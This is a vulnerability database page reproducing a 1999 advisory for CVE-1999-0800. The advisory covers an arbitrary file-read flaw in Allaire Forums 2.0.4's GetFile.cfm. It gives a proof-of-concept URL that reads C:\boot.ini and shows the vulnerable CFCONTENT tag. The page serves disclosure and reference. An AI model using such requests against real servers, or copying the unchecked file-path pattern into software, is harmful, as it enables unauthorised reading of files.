Recent Vulnerabilities Research Posts Trends Blog About Contact

Related Vulnerabilities: CVE-1999-0800

Publish Date: 11 Feb 1999

                							

                source: http://www.securityfocus.com/bid/229/info

An Allaire Forums file "GetFile.cfm" in the root of the application directory allows anyone to access any file on the Forums server. This vulnerability affects Forums 2.0.4 and earlier. 

Type the URL "GetFile.cfm?FT=Text&amp;FST=Plain&amp;FilePath=C:\boot.ini" (without the quotes") where C:\boot.ini is the pathname and file to read.

The syntax of the request is &lt;CFCONTENT TYPE="#FT#/#FST#" FILE="#FilePath#"&gt;

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Twitter Reddit Linkedin Facebook

Allaire Forums 2.0.4 - Getfile

Vulmon Search

About

Products

Connect